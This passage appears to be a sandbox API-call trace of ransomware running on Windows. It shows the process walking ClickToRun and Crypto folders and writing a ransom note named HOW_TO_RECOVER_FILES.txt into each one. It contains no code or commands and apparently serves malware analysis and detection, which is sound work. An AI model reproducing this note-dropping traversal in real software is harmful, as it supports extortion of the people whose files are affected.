hTemplateFile=0x0) returned 0x6e0 [0131.292] GetFileType (hFile=0x6e0) returned 0x1 [0131.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0131.292] GetFileType (hFile=0x6e0) returned 0x1 [0131.293] WriteFile (in: hFile=0x6e0, lpBuffer=0x35cadc8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x35cadc8*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0131.294] CloseHandle (hObject=0x6e0) returned 1 [0131.294] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0131.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.294] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.295] GetFileType (hFile=0x6e0) returned 0x1 [0131.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.295] GetFileType (hFile=0x6e0) returned 0x1 [0131.295] WriteFile (in: hFile=0x6e0, lpBuffer=0x35ce6f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x35ce6f0*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.297] CloseHandle (hObject=0x6e0) returned 1 [0131.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.298] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpFilePart=0x0) returned 0x5c [0131.298] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x307c9404, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.299] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.299] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpFilePart=0x0) returned 0x5c [0131.299] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x307c9404, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x307c9404, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.300] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.300] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpFilePart=0x0) returned 0x65 [0131.300] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x30625903, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30625903, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.301] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.301] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpFilePart=0x0) returned 0x65 [0131.301] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x30625903, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30625903, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.302] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7e [0131.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0131.303] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.304] GetFileType (hFile=0x6e0) returned 0x1 [0131.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0131.304] GetFileType (hFile=0x6e0) returned 0x1 [0131.304] WriteFile (in: hFile=0x6e0, lpBuffer=0x35effa0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x35effa0*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0131.305] CloseHandle (hObject=0x6e0) returned 1 [0131.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.306] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpFilePart=0x0) returned 0x66 [0131.306] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x307c9404, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x307c9404, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.306] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0131.307] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpFilePart=0x0) returned 0x66 [0131.307] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x307c9404, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x307c9404, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.308] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0131.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0131.308] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7f [0131.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0131.308] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.309] GetFileType (hFile=0x6e0) returned 0x1 [0131.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0131.309] GetFileType (hFile=0x6e0) returned 0x1 [0131.310] WriteFile (in: hFile=0x6e0, lpBuffer=0x3602780*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3602780*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0131.311] CloseHandle (hObject=0x6e0) returned 1 [0131.311] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0131.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.311] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.312] GetFileType (hFile=0x6e0) returned 0x1 [0131.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.312] GetFileType (hFile=0x6e0) returned 0x1 [0131.312] WriteFile (in: hFile=0x6e0, lpBuffer=0x36060a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x36060a8*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.313] CloseHandle (hObject=0x6e0) returned 1 [0131.313] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0131.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.313] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\productreleases\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.314] GetFileType (hFile=0x6e0) returned 0x1 [0131.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.315] GetFileType (hFile=0x6e0) returned 0x1 [0131.315] WriteFile (in: hFile=0x6e0, lpBuffer=0x3609940*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3609940*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.316] CloseHandle (hObject=0x6e0) returned 1 [0131.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.316] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0131.316] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x30d8ff4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.317] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.317] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0131.317] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x30d8ff4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30d8ff4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.318] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.318] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0131.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.318] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.319] GetFileType (hFile=0x6e0) returned 0x1 [0131.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.319] GetFileType (hFile=0x6e0) returned 0x1 [0131.320] WriteFile (in: hFile=0x6e0, lpBuffer=0x361ae58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x361ae58*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.369] CloseHandle (hObject=0x6e0) returned 1 [0131.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.370] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0131.370] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c29203c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c62598b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.377] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0131.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0131.377] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c62598b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c62598b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0131.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.387] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0131.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.387] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0131.388] GetFileType (hFile=0x6e0) returned 0x1 [0131.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.389] CloseHandle (hObject=0x6e0) returned 1 [0131.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0131.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0131.391] CloseHandle (hObject=0x6e0) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0131.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.393] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0131.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) 